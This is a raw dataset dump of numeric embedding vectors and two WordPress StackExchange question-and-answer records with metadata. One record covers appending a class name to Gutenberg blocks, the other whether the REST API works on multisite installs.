-0.0001310110092163086, -0.001934051513671875, -0.027740478515625, 0.0098724365234375, 0.03118896484375, -0.0133056640625, -0.0258636474609375, 0.08514404296875, -0.0200958251953125, -0.039459228515625, 0.0134124755859375, 0.0028667449951171875, -0.00934600830078125, 0.034393310546875, -0.0177764892578125, -0.0207366943359375, -0.004123687744140625, -0.017974853515625, -0.018585205078125, 0.01202392578125, 0.01398468017578125, -0.002300262451171875, 0.037689208984375, -0.03839111328125, 0.02813720703125, -0.0158233642578125, 0.052520751953125, -0.0234222412109375, -0.00847625732421875, -0.04376220703125, -0.033294677734375, 0.05609130859375, 0.0185699462890625, -0.028564453125, 0.05413818359375, -0.01983642578125, 0.005611419677734375, 0.03173828125, -0.04827880859375, 0.044647216796875, 0.02288818359375, -0.039825439453125, 0.0221099853515625, -0.0114898681640625, -0.025360107421875, -0.001949310302734375, 0.01360321044921875, -0.01088714599609375, 0.0035572052001953125, 0.01213836669921875, -0.0455322265625, 0.033966064453125, 0.039398193359375, 0.0207366943359375, 0.0259552001953125, -0.007335662841796875, -0.0272369384765625, -0.02545166015625, 0.01519775390625, -0.01030731201171875, 0.0128936767578125, -0.02984619140625, 0.0173492431640625, -0.002574920654296875, -0.0237274169921875, -0.0623779296875, 0.0154571533203125, 0.000701904296875, 0.01197052001953125, -0.0728759765625, 0.051727294921875, -0.004970550537109375, 0.028961181640625, -0.008575439453125, 0.0159912109375, 0.00567626953125, 0.046661376953125, -0.024810791015625, -0.04498291015625, -0.0079498291015625, 0.052520751953125, -0.0262451171875, -0.0168304443359375, 0.04107666015625, -0.0056915283203125, -0.050018310546875, -0.029815673828125, -0.02825927734375, 0.01120758056640625, -0.05792236328125, -0.0191650390625, 0.0045623779296875, 0.022613525390625, -0.0236358642578125, -0.0697021484375, -0.01251220703125, -0.03582763671875, 0.015869140625, 0.0298614501953125, 0.001697540283203125, 0.0279388427734375, -0.042266845703125, -0.1416015625, 0.063720703125, -0.029876708984375, -0.0501708984375, 0.0028972625732421875, 0.02874755859375, 0.00563812255859375, -0.01495361328125, 0.006565093994140625, 0.0107879638671875, -0.0194549560546875, -0.0260467529296875, -0.01018524169921875, 0.0272979736328125, -0.00452423095703125, -0.01328277587890625, -0.0182647705078125, 0.026885986328125, 0.0139923095703125, -0.021240234375, 0.0219879150390625, -0.007137298583984375, 0.039581298828125, 0.051025390625, -0.01959228515625, 0.0279998779296875, -0.0098876953125, -0.062469482421875, 0.005889892578125, -0.005954742431640625, 0.0012941360473632812, 0.0284423828125, -0.003040313720703125, 0.0460205078125, 0.0005831718444824219, -0.03875732421875, -0.035247802734375, -0.002918243408203125, 0.0294647216796875, -0.01532745361328125, 0.011138916015625, -0.061065673828125, -0.01560211181640625, 0.01206207275390625, 0.01169586181640625, -0.04351806640625, -0.0183563232421875, -0.018157958984375, -0.021240234375, 0.01348876953125, 0.0057220458984375, 0.038238525390625, -0.09552001953125, 0.063720703125, -0.04217529296875, -0.036590576171875, 0.009521484375, 0.06231689453125, -0.01263427734375, -0.0032024383544921875, -0.059234619140625, -0.0367431640625, 0.04742431640625, 0.024932861328125, -0.00983428955078125, 0.0254058837890625, 0.0059356689453125, 0.02178955078125, -0.0250701904296875, 0.0101776123046875, 0.035980224609375, 0.014739990234375, -0.03515625, 0.01238250732421875, 0.01617431640625, 0.0286865234375, 0.006561279296875, 0.0121917724609375, 0.0018939971923828125, 0.02044677734375, 0.043365478515625, -0.02215576171875, 0.061065673828125, -0.004016876220703125, 0.0013942718505859375, 0.005645751953125, -0.010894775390625, -0.02032470703125, -0.011688232421875, -0.0243682861328125, -0.001560211181640625, 0.00380706787109375 ]
b710f5784bac1524fc366f69ca72b40d079b2430
Wordpress Stackexchange Q: Gutenberg extend blocks add new class name I'm trying to add an extra class name to all the blocks by extending them. Documentation: Extending Blocks I'm using blocks.BlockEdit to modify the edit component. I want to add a custom class name. So far I have this const withClass = createHigherOrderComponent( ( BlockListBlock ) => { return ( props ) => { let wrapperProps = props.wrapperProps; wrapperProps = { ...wrapperProps, className: 'my-custom-class', }; return <BlockListBlock { ...props } wrapperProps={ wrapperProps } />; }; }, 'withClass' ); It's working by adding the custom class to the wrapper but it is overwriting the default block class. Is it possible to append to the current classes without overriding? A: Yes, you can do this via the classnames() function. import classnames from 'classnames'; const withClass = createHigherOrderComponent( ( BlockListBlock ) => { return ( props ) => { let wrapperProps = props.wrapperProps; wrapperProps = { ...wrapperProps, className={ classnames( 'my-custom-class', props.className ) } }; return <BlockListBlock { ...props } wrapperProps={ wrapperProps } />; }; }, 'withClass' );
Q: Gutenberg extend blocks add new class name I'm trying to add an extra class name to all the blocks by extending them. Documentation: Extending Blocks I'm using blocks.BlockEdit to modify the edit component. I want to add a custom class name. So far I have this const withClass = createHigherOrderComponent( ( BlockListBlock ) => { return ( props ) => { let wrapperProps = props.wrapperProps; wrapperProps = { ...wrapperProps, className: 'my-custom-class', }; return <BlockListBlock { ...props } wrapperProps={ wrapperProps } />; }; }, 'withClass' ); It's working by adding the custom class to the wrapper but it is overwriting the default block class. Is it possible to append to the current classes without overriding? A: Yes, you can do this via the classnames() function. import classnames from 'classnames'; const withClass = createHigherOrderComponent( ( BlockListBlock ) => { return ( props ) => { let wrapperProps = props.wrapperProps; wrapperProps = { ...wrapperProps, className={ classnames( 'my-custom-class', props.className ) } }; return <BlockListBlock { ...props } wrapperProps={ wrapperProps } />; }; }, 'withClass' );
wordpress
{ "language": "en", "length": 172, "provenance": "stackexchange_00019.jsonl.gz:486316", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304009" }
[ -0.04559326171875, 0.006412506103515625, -0.049102783203125, -0.036529541015625, -0.002620697021484375, -0.002033233642578125, -0.045562744140625, 0.01200103759765625, -0.038482666015625, 0.006134033203125, -0.0175018310546875, 0.0228424072265625, 0.02459716796875, -0.022216796875, 0.064453125, -0.01971435546875, 0.0297393798828125, 0.033355712890625, 0.0282745361328125, -0.01519775390625, 0.003887176513671875, 0.00315093994140625, -0.00897216796875, 0.034210205078125, 0.044189453125, -0.07012939453125, 0.08905029296875, -0.03167724609375, 0.050048828125, -0.0199127197265625, 0.046142578125, -0.0168914794921875, 0.0294342041015625, 0.031158447265625, -0.036895751953125, 0.0038700103759765625, 0.028656005859375, -0.009765625, -0.01459503173828125, 0.0355224609375, 0.039947509765625, -0.018341064453125, -0.0343017578125, 0.040069580078125, -0.0489501953125, -0.031707763671875, 0.0322265625, 0.0060272216796875, 0.03631591796875, 0.04681396484375, -0.0201416015625, 0.0216217041015625, -0.037933349609375, 0.01215362548828125, 0.002567291259765625, -0.0038318634033203125, -0.043060302734375, 0.0105133056640625, -0.004894256591796875, 0.08282470703125, 0.03302001953125, 0.0311737060546875, -0.0284576416015625, -0.05914306640625, 0.0028533935546875, -0.0171661376953125, 0.03765869140625, 0.01018524169921875, 0.0050048828125, 0.00351715087890625, 0.027496337890625, 0.00994110107421875, 0.0038814544677734375, -0.00928497314453125, -0.013641357421875, -0.02099609375, 0.013641357421875, -0.0209197998046875, -0.0017957687377929688, 0.0142059326171875, 0.0200958251953125, -0.0220489501953125, -0.01100921630859375, -0.017303466796875, 0.02313232421875, 0.019287109375, -0.01146697998046875, -0.02001953125, 0.016876220703125, -0.0025043487548828125, 0.00568389892578125, -0.042877197265625, 0.00109100341796875, 0.059051513671875, 0.0219573974609375, -0.03204345703125, -0.025543212890625, 0.01800537109375, -0.035980224609375, 0.00804901123046875, 0.003940582275390625, -0.0333251953125, 0.02734375, -0.05596923828125, 0.00897216796875, 0.032440185546875, -0.01540374755859375, 0.05718994140625, 0.036956787109375, 0.01509857177734375, -0.0095977783203125, -0.0225067138671875, 0.0036182403564453125, 0.0240936279296875, -0.0338134765625, -0.04302978515625, -0.05218505859375, 0.01207733154296875, -0.0181427001953125, -0.0002982616424560547, 0.03265380859375, 0.035552978515625, -0.00412750244140625, -0.005611419677734375, -0.027496337890625, -0.014007568359375, -0.016082763671875, -0.0305023193359375, 0.06158447265625, -0.0628662109375, -0.00283050537109375, 0.045318603515625, 0.022705078125, 0.0220489501953125, 0.0076141357421875, 0.01898193359375, 0.045166015625, 0.03314208984375, 0.01247406005859375, -0.0301666259765625, 0.01433563232421875, -0.0003955364227294922, -0.00664520263671875, 0.0034637451171875, 0.047698974609375, 0.004596710205078125, -0.0017271041870117188, 0.0122833251953125, 0.0140380859375, -0.033172607421875, 0.064697265625, -0.05523681640625, 0.03912353515625, 0.0159912109375, -0.030853271484375, 0.005008697509765625, 0.0086669921875, -0.01155853271484375, -0.0343017578125, -0.0309295654296875, 0.0205535888671875, -0.0283203125, -0.0197601318359375, 0.003971099853515625, -0.023773193359375, 0.03973388671875, -0.027191162109375, -0.004680633544921875, 0.013092041015625, 0.040618896484375, -0.01076507568359375, 0.01214599609375, 0.0090179443359375, -0.00629425048828125, -0.0179290771484375, -0.0180206298828125, 0.01158905029296875, -0.0160369873046875, 0.037017822265625, -0.022064208984375, -0.02606201171875, -0.0301361083984375, 0.056915283203125, -0.031524658203125, -0.0278472900390625, -0.026153564453125, -0.00980377197265625, 0.0113677978515625, 0.0506591796875, -0.0005855560302734375, -0.002124786376953125, -0.0204010009765625, -0.07818603515625, 0.047607421875, -0.01338958740234375, 0.00788116455078125, 0.00946044921875, 0.033416748046875, 0.00891876220703125, -0.0306854248046875, -0.026947021484375, -0.0233001708984375, 0.02490234375, -0.00792694091796875, 0.023284912109375, -0.011627197265625, 0.005558013916015625, 0.0273284912109375, -0.0297698974609375, -0.016876220703125, 0.0079803466796875, -0.04315185546875, -0.0010585784912109375, 0.017242431640625, -0.0037479400634765625, -0.0228729248046875, -0.00261688232421875, -0.0023555755615234375, -0.015533447265625, -0.0214691162109375, 0.005489349365234375, -0.006351470947265625, -0.004184722900390625, 0.0220184326171875, 0.03741455078125, 0.00408935546875, -0.0211181640625, -0.007335662841796875, -0.0165252685546875, 0.0694580078125, -0.1104736328125, -0.0028209686279296875, -0.015655517578125, 0.050567626953125, 0.02081298828125, -0.0011663436889648438, -0.003353118896484375, -0.05322265625, 0.0333251953125, 0.0172882080078125, 0.02081298828125, -0.013092041015625, -0.040069580078125, -0.00701904296875, 0.045074462890625, 0.0352783203125, 0.0210418701171875, -0.01049041748046875, -0.028533935546875, 0.0220947265625, 0.034210205078125, 0.0218963623046875, -0.0004138946533203125, 0.0631103515625, 0.004253387451171875, 0.00485992431640625, -0.01155853271484375, -0.009429931640625, -0.03106689453125, -0.00043272972106933594, 0.017486572265625, -0.024383544921875, -0.036102294921875, 0.00362396240234375, 0.048919677734375, 0.0028362274169921875, 0.0509033203125, 0.034149169921875, -0.03009033203125, 0.0288848876953125, 0.01462554931640625, -0.0276336669921875, 0.0208587646484375, 0.0197296142578125, 0.003993988037109375, 0.032867431640625, -0.0389404296875, -0.0099334716796875, 0.053314208984375, 0.024566650390625, -0.022003173828125, 0.016510009765625, -0.052764892578125, -0.01055908203125, 0.0213165283203125, -0.02581787109375, -0.026214599609375, -0.0147552490234375, -0.057708740234375, -0.048126220703125, -0.0013055801391601562, 0.0023860931396484375, -0.0135650634765625, -0.0277557373046875, 0.048828125, -0.041534423828125, 0.0275115966796875, -0.0004334449768066406, 0.00844573974609375, -0.0219879150390625, 0.0582275390625, 0.049102783203125, -0.0697021484375, 0.05450439453125, 0.007732391357421875, -0.005084991455078125, 0.02069091796875, -0.013275146484375, -0.01383209228515625, -0.054046630859375, 0.04522705078125, 0.038726806640625, 0.04632568359375, 0.08160400390625, 0.0145111083984375, -0.0124969482421875, 0.006649017333984375, 0.06610107421875, 0.00443267822265625, -0.011962890625, 0.04010009765625, -0.047698974609375, -0.01197052001953125, 0.009490966796875, -0.0635986328125, -0.010467529296875, 0.03619384765625, -0.006038665771484375, 0.00800323486328125, -0.01043701171875, 0.02642822265625, -0.01274871826171875, -0.036834716796875, -0.036102294921875, 0.01517486572265625, 0.0157318115234375, -0.00798797607421875, -0.0012464523315429688, -0.0194244384765625, 0.0155487060546875, -0.0026226043701171875, -0.023040771484375, 0.0232391357421875, -0.0295257568359375, 0.0183563232421875, -0.06634521484375, 0.037933349609375, -0.004405975341796875, 0.00450897216796875, 0.0076446533203125, -0.0038089752197265625, -0.01392364501953125, -0.00894927978515625, 0.01806640625, 0.0005412101745605469, 0.0537109375, 0.030853271484375, 0.03228759765625, 0.040374755859375, -0.006702423095703125, -0.0108184814453125, 0.03216552734375, 0.0005640983581542969, 0.005512237548828125, -0.00835418701171875, -0.0147552490234375, 0.01190948486328125, 0.0232696533203125, -0.01311492919921875, 0.017974853515625, 0.05096435546875, -0.032073974609375, 0.00598907470703125, -0.0303802490234375, -0.00983428955078125, -0.02996826171875, 0.00128173828125, -0.022369384765625, -0.0015468597412109375, -0.012237548828125, -0.005092620849609375, -0.0278778076171875, 0.052490234375, -0.040008544921875, -0.0506591796875, 0.0236663818359375, -0.06329345703125, 0.0242156982421875, -0.0374755859375, -0.0037670135498046875, 0.021942138671875, 0.08746337890625, -0.0120849609375, -0.0038776397705078125, 0.01091766357421875, 0.01104736328125, -0.03302001953125, 0.006195068359375, -0.050872802734375, -0.004741668701171875, -0.05224609375, -0.0240478515625, -0.01125335693359375, -0.039154052734375, -0.004070281982421875, -0.022705078125, -0.0204925537109375, -0.0223236083984375, 0.0133209228515625, -0.0223388671875, 0.0296783447265625, -0.007534027099609375, 0.0201416015625, -0.02276611328125, 0.00176239013671875, -0.02105712890625, -0.047393798828125, -0.005107879638671875, -0.047088623046875, 0.056976318359375, -0.0030612945556640625, 0.057403564453125, -0.0234222412109375, 0.040985107421875, 0.0159912109375, 0.0211334228515625, 0.028167724609375, -0.009857177734375, 0.07879638671875, 0.0005807876586914062, 0.0142669677734375, -0.01004791259765625, -0.0101165771484375, 0.0197296142578125, -0.017791748046875, 0.061920166015625, -0.00916290283203125, -0.03955078125, 0.047210693359375, -0.042449951171875, 0.00897216796875, -0.0034198760986328125, 0.0125579833984375, 0.03228759765625, -0.0042572021484375, 0.00653839111328125, -0.005977630615234375, 0.0145111083984375, 0.00659942626953125, -0.011138916015625, 0.008544921875, 0.0108489990234375, 0.05780029296875, 0.0142364501953125, -0.018096923828125, -0.002300262451171875, 0.0247955322265625, 0.017730712890625, -0.02545166015625, 0.08984375, 0.042144775390625, 0.010284423828125, 0.03582763671875, -0.031524658203125, -0.0030517578125, -0.00789642333984375, 0.035552978515625, -0.004238128662109375, -0.0015554428100585938, -0.006252288818359375, 0.0010051727294921875, 0.002685546875, 0.021148681640625, -0.03326416015625, 0.0172576904296875, 0.0011091232299804688, 0.0164794921875, -0.04278564453125, 0.0362548828125, -0.0015583038330078125, -0.0288848876953125, 0.0224609375, -0.045318603515625, -0.013214111328125, 0.0016412734985351562, -0.006862640380859375, -0.038543701171875, -0.04046630859375, 0.0052947998046875, 0.0207977294921875, -0.015625, -0.004726409912109375, 0.0171661376953125, 0.0028514862060546875, -0.0092315673828125, 0.0199737548828125, 0.008544921875, 0.068603515625, 0.0025272369384765625, -0.022308349609375, -0.073486328125, -0.01158905029296875, -0.007724761962890625, -0.011932373046875, 0.0080413818359375, 0.0193634033203125, -0.00022518634796142578, 0.0104827880859375, -0.01140594482421875, -0.01409912109375, 0.0186004638671875, -0.0247039794921875, 0.068359375, 0.03955078125, -0.0283355712890625, -0.0328369140625, 0.002750396728515625, 0.042449951171875, -0.04638671875, -0.0018367767333984375, 0.0015888214111328125, -0.0018148422241210938, 0.0139312744140625, 0.0350341796875, -0.017974853515625, 0.00855255126953125, -0.0217742919921875, 0.00968170166015625, 0.01064300537109375, -0.00830841064453125, 0.0194244384765625, 0.03204345703125, 0.008087158203125, 0.01812744140625, -0.0258026123046875, -0.039459228515625, -0.017486572265625, -0.019500732421875, 0.00928497314453125, 0.0181121826171875, -0.00494384765625, -0.017547607421875, 0.007541656494140625, 0.031707763671875, -0.024566650390625, -0.0311126708984375, -0.01485443115234375, 0.0126953125, 0.0017004013061523438, -0.03338623046875, 0.016265869140625, 0.01142120361328125, -0.0384521484375, 0.0038471221923828125, -0.0013303756713867188, -0.056182861328125, -0.054840087890625, 0.007022857666015625, -0.0231781005859375, 0.0250396728515625, -0.044769287109375, 0.041473388671875, -0.026611328125, 0.0091400146484375, -0.0302581787109375, 0.04437255859375, -0.035430908203125, -0.00829315185546875, -0.0087890625, -0.047943115234375, -0.05426025390625, -0.028289794921875, -0.066162109375, -0.057373046875, 0.004486083984375, 0.048370361328125, 0.00510406494140625, 0.0234527587890625, -0.0007390975952148438, 0.01038360595703125, 0.00711822509765625, 0.00527191162109375, -0.0157318115234375, 0.02313232421875, -0.005825042724609375, 0.064697265625, -0.01788330078125, 0.042816162109375, 0.01430511474609375, 0.00469207763671875, -0.00791168212890625, -0.01207733154296875, -0.0018129348754882812, -0.04119873046875, -0.004680633544921875, -0.0001354217529296875, -0.016876220703125, 0.0239410400390625, 0.0270233154296875, 0.00829315185546875, 0.039886474609375, 0.0018606185913085938, 0.016937255859375, -0.030181884765625, -0.0279388427734375, -0.0254364013671875, 0.0240325927734375, -0.02032470703125, 0.051116943359375, 0.0457763671875, -0.055328369140625, -0.043426513671875, -0.006725311279296875, 0.039398193359375, 0.02734375, -0.0714111328125, 0.034423828125, -0.00634765625, 0.0067291259765625, -0.03070068359375, 0.01279449462890625, 0.0227203369140625, 0.0170135498046875, 0.0177154541015625, -0.00478363037109375, 0.0312347412109375, 0.0673828125, 0.09173583984375, 0.005458831787109375, -0.005710601806640625, 0.04217529296875, -0.0278472900390625, 0.03125, 0.01129913330078125, 0.045745849609375, -0.050323486328125, 0.0229339599609375, 0.014892578125, -0.01290130615234375, 0.025360107421875, 0.036224365234375, 0.007659912109375, 0.006290435791015625, -0.04522705078125, -0.024322509765625, -0.016357421875, 0.005275726318359375, -0.00608062744140625, -0.016357421875, -0.046661376953125, -0.01299285888671875, 0.0032672882080078125, 0.03192138671875, 0.01513671875, -0.026885986328125, 0.0308837890625, 0.01041412353515625, 0.005527496337890625, 0.032470703125, -0.05499267578125, -0.034759521484375, 0.013702392578125, -0.0386962890625, -0.021514892578125, 0.032073974609375, 0.0219879150390625, -0.002410888671875, 0.026397705078125, -0.00836944580078125, 0.0187225341796875, -0.01259613037109375, 0.00528717041015625, 0.01096343994140625, -0.0179901123046875, 0.0036449432373046875, 0.004261016845703125, -0.0290374755859375, 0.0196990966796875, -0.0024871826171875, -0.033447265625, -0.0008111000061035156, 0.0098876953125, 0.0267486572265625, -0.0118255615234375, -0.030487060546875, 0.01837158203125, 0.0027923583984375, 0.004978179931640625, 0.0169677734375, 0.01059722900390625, -0.0238037109375, -0.00044345855712890625, 0.004543304443359375, -0.01178741455078125, -0.0009641647338867188, 0.03265380859375, -0.05303955078125, 0.085693359375, 0.036712646484375, 0.004787445068359375, 0.02215576171875, 0.03240966796875, -0.06915283203125, -0.0032749176025390625, -0.00229644775390625, 0.02154541015625, -0.0279693603515625, 0.024932861328125, -0.04779052734375, -0.006740570068359375, 0.00963592529296875, 0.054473876953125, -0.0067291259765625, 0.00292205810546875, -0.0253448486328125, -0.03424072265625, 0.0001043081283569336, 0.03167724609375, 0.0122222900390625, 0.00943756103515625, 0.01483154296875, 0.0140228271484375, -0.0141448974609375, 0.0197296142578125, 0.023284912109375, -0.04693603515625, -0.05804443359375, 0.03790283203125, 0.006702423095703125, 0.01259613037109375, 0.02178955078125, 0.00856781005859375, -0.052337646484375, 0.0113983154296875, 0.03192138671875, -0.01849365234375, 0.010833740234375, 0.043060302734375, 0.0278472900390625, 0.0036487579345703125, -0.047088623046875, -0.01392364501953125, 0.027069091796875, -0.018768310546875, -0.0167999267578125, 0.036224365234375, 0.005359649658203125, -0.0672607421875, 0.03594970703125, 0.001476287841796875, 0.0161285400390625, 0.0132904052734375, 0.0496826171875, 0.04437255859375, 0.0120086669921875, 0.00830078125, 0.06817626953125, 0.039886474609375, 0.035614013671875, -0.056915283203125, -0.034393310546875, 0.0199432373046875, 0.01406097412109375, 0.0099029541015625, -0.0095367431640625, 0.006786346435546875, -0.1041259765625, -0.058258056640625, -0.0192718505859375, -0.0157012939453125, 0.0185089111328125, 0.032867431640625, 0.0014619827270507812, -0.0007910728454589844, -0.01629638671875, -0.045745849609375, -0.048828125, -0.003162384033203125, 0.01137542724609375, 0.0570068359375, 0.046295166015625, 0.0162353515625, 0.00661468505859375, -0.027374267578125, -0.04443359375, 0.0184783935546875, 0.0623779296875, 0.0199737548828125, 0.0283355712890625, 0.06976318359375, 0.018280029296875, -0.0082550048828125, 0.042816162109375, 0.08197021484375, 0.0269012451171875, 0.0238037109375, 0.0706787109375, 0.0203094482421875, -0.0357666015625, -0.0154571533203125, 0.03997802734375, -0.0469970703125, 0.04986572265625, 0.00632476806640625, -0.015869140625, 0.0010690689086914062, -0.019195556640625, 0.06390380859375, 0.021820068359375, 0.0258331298828125, 0.016204833984375, -0.01824951171875, 0.0073089599609375, 0.006435394287109375, 0.0699462890625, 0.04937744140625, -0.07421875, -0.0218505859375, 0.0001952648162841797, -0.039825439453125, 0.029998779296875, 0.051483154296875, -0.036346435546875, 0.01291656494140625, -0.02203369140625, -0.015533447265625, 0.016387939453125, -0.00299072265625, 0.00531005859375, 0.0196685791015625, -0.0058441162109375, -0.006969451904296875, -0.059722900390625, -0.030609130859375, -0.0027942657470703125, 0.0223388671875, -0.0010747909545898438, 0.03399658203125, 0.00185394287109375, 0.0121612548828125, -0.013946533203125, 0.0022869110107421875, 0.005481719970703125, -0.01207733154296875, -0.01141357421875, 0.041900634765625, 0.0257568359375, -0.0205535888671875, -0.034759521484375, -0.01800537109375, 0.0826416015625, -0.04827880859375, 0.00168609619140625, 0.0089874267578125, 0.013580322265625, -0.072021484375, -0.00679779052734375, -0.0322265625, -0.061065673828125, -0.0102691650390625, 0.044158935546875, -0.02117919921875, 0.0189666748046875, 0.008514404296875, 0.013641357421875, 0.0162811279296875, 0.010162353515625, 0.016387939453125, 0.0023326873779296875, 0.02801513671875, 0.02093505859375, -0.045806884765625, -0.08612060546875, -0.0227203369140625, -0.002269744873046875, -0.009552001953125, -0.0011682510375976562, 0.053558349609375, 0.01174163818359375, -0.0033397674560546875, 0.03582763671875, 0.08404541015625, 0.06085205078125, -0.0141448974609375, 0.034210205078125, 0.05133056640625, -0.033203125, 0.040252685546875, 0.01371002197265625, -0.0207672119140625, -0.048187255859375, -0.01421356201171875, 0.0343017578125, -0.07073974609375, -0.0017223358154296875, -0.1141357421875, 0.00812530517578125, -0.01213836669921875, 0.00820159912109375, -0.034637451171875, 0.046295166015625, -0.00005429983139038086, -0.0125732421875, -0.024505615234375, 0.00856781005859375, 0.01439666748046875, 0.01861572265625, -0.036651611328125, -0.032867431640625, -0.01326751708984375, 0.0335693359375, -0.0175628662109375, -0.013763427734375, -0.01580810546875, -0.0024547576904296875, 0.0190887451171875, -0.02008056640625, 0.0249481201171875, 0.016326904296875, -0.01326751708984375, -0.0099945068359375, 0.0305938720703125, -0.017822265625, -0.0139923095703125, -0.0928955078125, 0.01088714599609375, -0.08416748046875, -0.0045013427734375, -0.00004792213439941406, -0.02056884765625, -0.00504302978515625, -0.032745361328125, -0.03912353515625, 0.0008425712585449219, 0.0150909423828125, -0.0333251953125, -0.0228424072265625, 0.006107330322265625, -0.046875, 0.03741455078125, -0.0131683349609375, -0.00324249267578125, 0.04278564453125, 0.06744384765625, -0.01666259765625, 0.01495361328125, 0.010711669921875, -0.0076904296875, -0.0033054351806640625, -0.0002455711364746094, 0.005199432373046875, -0.0241241455078125, -0.00594329833984375, -0.0301666259765625, 0.07720947265625, 0.0625, 0.008453369140625, 0.007526397705078125, 0.03790283203125, -0.037200927734375, 0.03131103515625, -0.0004763603210449219, -0.078369140625, -0.04541015625, 0.01580810546875, 0.054412841796875, 0.0191192626953125, 0.00959014892578125, 0.0052032470703125, -0.0281524658203125, -0.017913818359375, 0.0295257568359375, 0.00077056884765625, -0.02935791015625, 0.017120361328125, 0.0416259765625, -0.0194549560546875, 0.030731201171875, 0.034515380859375, -0.0247650146484375, 0.0113067626953125, -0.0040130615234375, -0.02325439453125, -0.0947265625, -0.0195465087890625, 0.0574951171875, -0.02838134765625, -0.0007033348083496094, -0.001552581787109375, 0.026275634765625, 0.038543701171875, 0.014129638671875, -0.0239715576171875, -0.044891357421875, 0.0216827392578125, 0.03167724609375, -0.0035400390625, 0.007007598876953125, -0.00478363037109375, -0.001338958740234375, -0.01514434814453125, 0.004314422607421875, -0.00244140625, -0.0287628173828125, -0.0401611328125, 0.06390380859375, -0.01555633544921875, 0.11346435546875, 0.00801849365234375, -0.01009368896484375, -0.0003249645233154297, 0.0285797119140625, 0.055023193359375, -0.0328369140625, 0.0799560546875, -0.042999267578125, -0.0194244384765625, -0.006885528564453125, -0.048858642578125, -0.072265625, 0.020965576171875, 0.03814697265625, -0.0007343292236328125, 0.022705078125 ]
cb384b4bf2806058ea18d43dc4c9632ff286edd3
Wordpress Stackexchange Q: Does the Wordpress API work with multisite? I’ve found next to no information on whether the rest API works with Wordpress multisite setup. Does it? A: Yes, the REST API is in the same location, just append /wp-json to the end of a site/blogs URL and there it is As for the network admin, at the moment there are no endpoints explicitly for multisite, so you can't use the REST API to create and destroy sites without building those endpoints yourself, but this may change in the future
Q: Does the Wordpress API work with multisite? I’ve found next to no information on whether the rest API works with Wordpress multisite setup. Does it? A: Yes, the REST API is in the same location, just append /wp-json to the end of a site/blogs URL and there it is As for the network admin, at the moment there are no endpoints explicitly for multisite, so you can't use the REST API to create and destroy sites without building those endpoints yourself, but this may change in the future
wordpress
{ "language": "en", "length": 89, "provenance": "stackexchange_00019.jsonl.gz:486322", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304024" }
[ 0.0298919677734375, -0.0214691162109375, -0.0047607421875, -0.00423431396484375, -0.0164031982421875, -0.039703369140625, 0.0211944580078125, -0.007350921630859375, 0.0066070556640625, 0.0290069580078125, -0.032073974609375, -0.02252197265625, 0.005710601806640625, -0.01377105712890625, -0.020660400390625, -0.0477294921875, 0.023834228515625, -0.0006060600280761719, 0.01427459716796875, -0.00897979736328125, -0.0139312744140625, 0.0043487548828125, -0.0004532337188720703, 0.054779052734375, 0.006153106689453125, 0.004840850830078125, 0.0214996337890625, -0.01324462890625, -0.013916015625, -0.02545166015625, 0.01317596435546875, 0.027618408203125, 0.0163421630859375, 0.0240325927734375, -0.03533935546875, -0.0518798828125, 0.0240325927734375, -0.009246826171875, -0.030731201171875, 0.0662841796875, 0.004405975341796875, -0.005359649658203125, 0.042724609375, -0.0012788772583007812, 0.026153564453125, -0.026519775390625, 0.00821685791015625, -0.06549072265625, -0.006214141845703125, -0.0247802734375, 0.0033512115478515625, -0.0443115234375, 0.02484130859375, -0.0261383056640625, -0.037933349609375, -0.0294342041015625, 0.0540771484375, -0.01461029052734375, 0.042327880859375, -0.08966064453125, -0.06689453125, 0.00498199462890625, 0.04693603515625, 0.02386474609375, -0.003559112548828125, -0.00370025634765625, 0.01195526123046875, 0.01617431640625, -0.022491455078125, 0.006923675537109375, 0.0208892822265625, -0.020416259765625, 0.01131439208984375, 0.0101165771484375, 0.0016460418701171875, -0.07733154296875, -0.0030364990234375, -0.04376220703125, 0.03399658203125, -0.00018739700317382812, 0.0219268798828125, 0.005634307861328125, 0.004962921142578125, -0.03204345703125, 0.01490020751953125, -0.006374359130859375, 0.00909423828125, -0.005859375, -0.0506591796875, 0.003856658935546875, -0.034271240234375, -0.07647705078125, -0.0699462890625, 0.0400390625, 0.0215301513671875, 0.005157470703125, 0.004032135009765625, 0.00421142578125, 0.00466156005859375, 0.00893402099609375, 0.0041046142578125, -0.0345458984375, 0.015625, -0.006031036376953125, 0.0228271484375, -0.005474090576171875, 0.027252197265625, 0.0033054351806640625, 0.036865234375, 0.0034236907958984375, -0.039093017578125, 0.07830810546875, 0.017364501953125, -0.0175018310546875, -0.0238800048828125, -0.0255126953125, -0.017333984375, 0.0265960693359375, 0.00571441650390625, -0.03045654296875, -0.0289459228515625, 0.0058441162109375, -0.030975341796875, 0.03765869140625, 0.0023956298828125, 0.01523590087890625, 0.0152130126953125, -0.0076904296875, -0.025299072265625, 0.033843994140625, -0.00962066650390625, 0.02752685546875, 0.0013580322265625, -0.018951416015625, -0.039337158203125, -0.0188140869140625, 0.0117034912109375, 0.057769775390625, 0.006191253662109375, -0.00010466575622558594, 0.033538818359375, -0.0235137939453125, -0.0250091552734375, 0.0010747909545898438, 0.0099945068359375, -0.01129913330078125, 0.034393310546875, 0.036041259765625, -0.007617950439453125, 0.003662109375, 0.004299163818359375, 0.02374267578125, 0.002197265625, 0.0013828277587890625, 0.07440185546875, -0.041351318359375, 0.06854248046875, -0.0435791015625, 0.021942138671875, -0.0145416259765625, -0.0053558349609375, -0.031707763671875, 0.038726806640625, -0.005283355712890625, -0.0159912109375, 0.029632568359375, -0.06500244140625, -0.0270843505859375, 0.03216552734375, 0.027679443359375, -0.022674560546875, -0.032379150390625, 0.02691650390625, 0.00620269775390625, -0.0204010009765625, 0.0292510986328125, 0.01507568359375, 0.029571533203125, 0.016510009765625, 0.017578125, -0.001392364501953125, -0.037811279296875, 0.052459716796875, -0.0085906982421875, -0.0552978515625, 0.0684814453125, 0.01207733154296875, 0.09197998046875, -0.00801849365234375, 0.0231170654296875, 0.04559326171875, 0.03436279296875, 0.030975341796875, -0.021484375, 0.0166015625, -0.0291290283203125, -0.012664794921875, -0.0076904296875, -0.016510009765625, -0.019561767578125, -0.0147247314453125, 0.00484466552734375, 0.032012939453125, 0.01470947265625, 0.021514892578125, 0.02166748046875, -0.0156402587890625, 0.0250701904296875, -0.004711151123046875, 0.00034689903259277344, 0.0038127899169921875, 0.0075531005859375, -0.0169830322265625, 